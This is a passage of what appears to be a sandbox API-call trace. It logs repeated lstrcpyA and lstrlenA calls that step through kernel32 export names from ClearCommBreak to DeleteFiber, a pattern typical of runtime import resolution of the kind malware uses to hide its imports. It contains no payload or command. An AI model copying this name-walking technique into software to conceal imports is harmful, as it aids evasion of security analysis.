returned 26 [0055.189] lstrcpyA (in: lpString1=0x34ed04, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.189] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.190] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.190] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.190] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.190] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.190] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.190] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.190] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.190] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.190] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.190] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.190] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.190] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.190] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.190] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.190] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.190] lstrcpyA (in: lpString1=0x34ed04, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.190] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.191] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.191] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.191] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.191] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.191] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.191] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.191] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.191] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.191] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.191] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.191] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.191] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.191] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.191] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.191] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.191] lstrcpyA (in: lpString1=0x34ed04, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.191] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.192] lstrlenA (lpString="COPYFILEA") returned 9 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.192] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.192] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.192] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.192] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.192] lstrlenA (lpString="COPYFILEW") returned 9 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.192] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.192] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.192] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.192] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.192] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.192] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.192] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.192] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.192] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.192] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.192] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.193] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.193] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.193] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.193] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.193] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.193] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.193] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.193] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.193] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.193] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.193] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.193] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.193] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.193] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.193] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.193] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.194] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.194] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.194] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.194] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.194] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.194] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.194] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.194] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.194] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.194] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.194] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.194] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.194] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.194] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.194] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.194] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.194] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.195] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.195] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.195] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.195] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.195] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.195] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.195] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.195] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.195] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.195] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.195] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.195] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.195] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.195] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.195] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.195] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.195] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.196] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.196] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.196] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.196] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.196] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.196] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.196] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.196] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.196] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.196] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.196] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.196] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.196] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.196] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.196] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.196] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.196] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.196] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.196] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.197] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.197] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.197] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.197] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.197] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.197] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.197] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.197] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.197] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.197] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.197] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.197] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.197] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.197] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.197] lstrlenA (lpString="DELETEATOM") returned 10 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.197] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.197] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.197] lstrcpyA (in: lpString1=0x34ed04, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") 